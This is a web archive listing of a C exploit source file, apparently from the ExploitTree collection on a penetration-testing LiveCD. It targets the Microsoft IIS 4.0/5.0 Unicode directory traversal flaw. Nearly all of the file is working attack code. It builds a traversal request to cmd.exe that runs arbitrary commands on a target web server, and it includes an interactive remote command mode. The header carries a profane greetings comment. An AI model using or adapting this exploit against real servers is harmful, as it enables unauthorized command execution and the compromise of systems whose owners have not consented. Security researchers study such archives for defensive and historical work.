home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iis-zang.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  175 lines
  1. /****************************************************************************\
  2. **                                                                          **
  3. **    Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit    **
  4. **      proof of theory exploit cuz it's wednesday and i'm on the couch     **
  5. **                                                                          **
  6. **       brought to you by the letter B, the number 7, optyx, and t12       **
  7. **          optyx - <optyx@uberhax0r.net optyx@newhackcity.net>             **
  8. **          t12 - <t12@uberhax0r.net>                                       **
  9. **                                                                          **
  10. **     greetz go out to aempirei, a gun toatin' gangstah' hustler' player   **
  11. **     motherfucker who isn't with us anymore, miah, who's GTA2 game was    **
  12. **     was most entertaining tonight, Cathy, who provided the trippy light  **
  13. **     to stare at, and to KT, for providing me with hours of decent        **
  14. **     conversation.                                                        **
  15. **                                                                          **
  16. \****************************************************************************/
  17.  
  18. #include <stdio.h>
  19. #include <netdb.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/socket.h>
  23. #include <sys/types.h>
  24. #include <netinet/in.h>
  25. #include <arpa/inet.h>
  26. #include <signal.h>
  27. #include <errno.h>
  28. #include <fcntl.h>
  29.  
  30. void usage(void) 
  31. {
  32.  fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>"); 
  33.  fprintf(stderr, " [-p port] [-o timeout]\n"); 
  34.  exit(-1);
  35. }
  36.  
  37. int main(int argc, char **argv) 
  38. {
  39.  int i, j;
  40.  int port=80;
  41.  int timeout=3;
  42.  int interactive=0;
  43.  char temp[1];
  44.  char host[512]=""; 
  45.  char cmd[1024]="";
  46.  char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
  47.  struct hostent *he;
  48.  struct sockaddr_in s_addr;
  49.  
  50.  printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
  51.  printf("by optyx and t12\n");
  52.  
  53.  for(i=0;i<argc;i++) 
  54.     { if(argv[i][0] == '-') {
  55.          for(j=1;j<strlen(argv[i]);j++) 
  56.              {
  57.              switch(argv[i][j]) 
  58.                  {
  59.                  case 't':
  60.                      strncpy(host, argv[i+1], sizeof(host));
  61.                      break;
  62.                  case 'c':
  63.                      strncpy(cmd, argv[i+1], sizeof(cmd));
  64.                      break;
  65.                  case 'h':
  66.                      usage();
  67.                       break;
  68.                  case 'o':
  69.                     timeout=atoi(argv[i+1]); 
  70.                      break;
  71.                  case 'p':
  72.                      port=atoi(argv[i+1]);
  73.                      break;
  74.                  case 'i':
  75.                      interactive=1;
  76.                      break;
  77.                  default:
  78.                  break;
  79.                 }
  80.             }
  81.         }
  82.     }
  83.  
  84.  if(!strcmp(host, "")) 
  85.     {
  86.      fprintf(stderr, "specify target host\n");
  87.      usage();
  88.     }
  89.  
  90.  if(!strcmp(cmd, "") && !interactive) 
  91.     {
  92.      fprintf(stderr, "specify command to execute\n");
  93.      usage();
  94.     }
  95.  
  96.  printf("]- Target - %s:%d\n", host, port);
  97.  if(!interactive)
  98.       printf("]- Command - %s\n", cmd);
  99.  printf("]- Timeout - %d seconds\n", timeout);
  100.  if((he=gethostbyname(host)) == NULL) 
  101.     {
  102.       fprintf(stderr, "invalid target\n");
  103.      usage();
  104.     }
  105.  
  106.  do
  107.      {
  108.  
  109.      if(interactive)
  110.           {
  111.           cmd[0]=0;
  112.           printf("\nC> ");
  113.           if(fgets(cmd, sizeof(cmd), stdin) == NULL)
  114.                 fprintf(stderr, "gets() error\n"); 
  115.           cmd[strlen(cmd)-1]='\0';
  116.           if(!strcmp("exit", cmd))
  117.                 exit(-1);
  118.          }
  119.  
  120.       for(i=0;i<strlen(cmd);i++) 
  121.          {
  122.            if(cmd[i]==' ')
  123.               cmd[i]='+';
  124.          }
  125.  
  126.      strncpy(request, 
  127.            "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
  128.            sizeof(request));
  129.       strncat(request, cmd, sizeof(request) - strlen(request));    
  130.       strncat(request, "\n", sizeof(request) - strlen(request));
  131.  
  132.       s_addr.sin_family = PF_INET;
  133.       s_addr.sin_port = htons(port);
  134.       memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, 
  135.          sizeof(s_addr.sin_addr));    
  136.  
  137.       if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) 
  138.          {
  139.            fprintf(stderr, "cannot create socket\n");
  140.            exit(-1);
  141.          }
  142.  
  143.       alarm(timeout);
  144.       j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
  145.       alarm(0);
  146.  
  147.       if(j==-1) 
  148.          {
  149.            fprintf(stderr, "cannot connect to %s\n", host);
  150.            exit(-1);
  151.            close(i);
  152.          }
  153.  
  154.      if(!interactive)
  155.             printf("]- Sending request: %s\n", request);
  156.  
  157.       send(i, request, strlen(request), 0);
  158.  
  159.      if(!interactive)
  160.             printf("]- Getting results\n");
  161.  
  162.       while(recv(i,temp,1, 0)>0) 
  163.          {
  164.                alarm(timeout);
  165.            printf("%c", temp[0]);
  166.                alarm(0);
  167.          }    
  168.  
  169.  }
  170.  while(interactive);
  171.  
  172.   close(i);    
  173.   return 0;
  174. }
  175.